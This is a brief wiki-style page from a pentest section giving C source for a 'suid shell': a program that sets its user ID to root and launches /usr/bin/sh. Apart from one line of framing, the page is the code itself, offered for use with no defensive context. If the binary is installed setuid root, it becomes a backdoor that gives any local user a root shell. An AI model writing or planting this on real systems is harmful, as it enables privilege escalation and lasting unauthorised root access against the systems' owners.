Sysadmin > SecurityAndPentests > SuidShellSource

Small C code for using a shell as suid

cat suidshell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   setuid( 0 );
   system( "/usr/bin/sh" );

   return 0;
}